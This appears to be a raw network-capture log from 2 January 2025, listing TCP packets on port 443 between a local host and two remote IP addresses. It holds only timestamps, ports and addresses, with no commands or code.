Jan 2, 2025 20:29:08.789962053 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.789978027 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.790024996 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.790030003 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.174427032 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.174576044 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.174611092 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.174665928 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.174961090 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.174997091 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.175062895 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.175506115 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.175506115 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.175551891 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.175561905 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.175625086 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.175625086 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.176105022 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.176115036 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.176364899 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.176373005 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.187721968 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.187854052 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.188076973 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.188117027 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.188173056 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.188702106 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.188719034 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.188730955 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.188760996 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.188838005 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.189075947 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.189075947 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.189111948 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.189114094 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.189126015 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.809498072 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.809655905 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.810008049 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.810122013 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.810333967 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.810395956 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.811944008 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.811954021 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.812232971 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.812310934 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.812607050 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.813704014 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.813709021 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.813966036 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.814065933 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.814409018 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.819264889 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.819334030 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.820611954 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.820626020 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.820879936 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.820941925 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.821211100 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:09.855331898 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.855348110 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.863337040 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:09.908065081 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.908165932 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.908849955 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.908921003 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.910938978 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.910948038 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.911216021 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:09.911272049 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.911704063 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:09.955332041 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.197510958 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.197566032 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.197585106 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.197626114 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.197741032 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.197774887 CET	443	50241	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.197824001 CET	50241	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.198503971 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.198558092 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.198662996 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.198956966 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.198977947 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.300789118 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.300863981 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.300898075 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.300931931 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.300954103 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.300975084 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.300980091 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.301008940 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.301021099 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.301048994 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.302119970 CET	50242	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.302138090 CET	443	50242	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.302656889 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.302702904 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.302778006 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.303046942 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.303056955 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.303450108 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.303512096 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.303579092 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.303590059 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.303627968 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.303631067 CET	443	50243	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.303673983 CET	50243	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.304035902 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.304044008 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.304110050 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.304332972 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.304342985 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.431094885 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.431143999 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.431246996 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.431271076 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.431282043 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.431332111 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.433362007 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.433415890 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.433418036 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.433454037 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.434938908 CET	50244	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.434969902 CET	443	50244	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.435630083 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.435674906 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.435748100 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.436005116 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.436014891 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.841253996 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.841401100 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.909573078 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.909599066 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.912122011 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.912134886 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.974334002 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.974406004 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.980300903 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:10.980371952 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:10.981483936 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.981499910 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:10.985551119 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:10.985558033 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.034776926 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.034805059 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.038949013 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.038955927 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.075407982 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.075537920 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.078989983 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.079006910 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.079683065 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.079689026 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.264410973 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.264472961 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.264483929 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.264530897 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.264621973 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.264682055 CET	443	50245	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.264734030 CET	50245	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.265218019 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.265269995 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.265351057 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.265578985 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.265594006 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.369483948 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.369553089 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.369582891 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.369626045 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.370160103 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.370213032 CET	443	50249	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.370270014 CET	50249	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.370723963 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.370765924 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.370834112 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.371082067 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.371100903 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.411194086 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.411262035 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.411264896 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.411290884 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.411309004 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.411349058 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.411355972 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.411382914 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.411390066 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.411413908 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.411422968 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.411461115 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.412262917 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.412295103 CET	443	50248	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.412307978 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.412339926 CET	50248	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.412852049 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.412897110 CET	443	50253	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.412965059 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.413476944 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.413496971 CET	443	50253	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.544862032 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.544914007 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.545011044 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.545118093 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.546185970 CET	50250	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.546199083 CET	443	50250	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.546838045 CET	50254	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.546864033 CET	443	50254	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.546936989 CET	50254	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.547188997 CET	50254	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:11.547200918 CET	443	50254	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:11.898736000 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.899003029 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.899581909 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.899647951 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.901343107 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.901366949 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.901642084 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:11.901695967 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.902076006 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:11.943346024 CET	443	50251	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.010576010 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.010715008 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.011374950 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.011442900 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.013159990 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.013174057 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.013425112 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.019062996 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.019572973 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.056114912 CET	443	50253	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:12.058099985 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:12.058602095 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:12.058614969 CET	443	50253	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:12.060811996 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:12.060818911 CET	443	50253	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:12.067342997 CET	443	50252	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.134495020 CET	50254	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:12.134671926 CET	50251	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.134706020 CET	50252	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.134743929 CET	50253	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:12.137334108 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.137376070 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.137572050 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.138356924 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.138394117 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.138453960 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.138472080 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.138475895 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.138618946 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.138629913 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.783092022 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.783205986 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.783734083 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.783745050 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.785799026 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.785804987 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.826215982 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.826329947 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.826916933 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.826930046 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:12.827127934 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:12.827131987 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.168428898 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.168529987 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.168555021 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.168601036 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.168687105 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.168721914 CET	443	50255	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.168773890 CET	50255	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.169310093 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.169348955 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.169409990 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.169619083 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.169631958 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.170980930 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.170989037 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.171065092 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.171257973 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.171267033 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.216919899 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.217084885 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.217180014 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.217211008 CET	443	50256	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.217268944 CET	50256	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.217911959 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.217966080 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.218038082 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.218126059 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.218138933 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.218188047 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.218403101 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.218421936 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.218607903 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.218617916 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.802826881 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.802923918 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.828747988 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.828820944 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.829530001 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.829575062 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.849267960 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.849303961 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.849396944 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.849412918 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.849688053 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.849730015 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.849971056 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.850017071 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.850224972 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.850580931 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.862684965 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.862746954 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.863073111 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.863228083 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.863889933 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.863950014 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.864830017 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.864839077 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.865102053 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.865144968 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.865545034 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.865549088 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.865648031 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:13.865830898 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.865875959 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.866184950 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:13.891335011 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:13.891351938 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.907337904 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:13.907351971 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.218626976 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.218700886 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.218724966 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.218766928 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.218949080 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.218987942 CET	443	50258	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.219038963 CET	50258	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.219980955 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.220020056 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.220082045 CET	50265	443	192.168.2.6	142.250.185.78
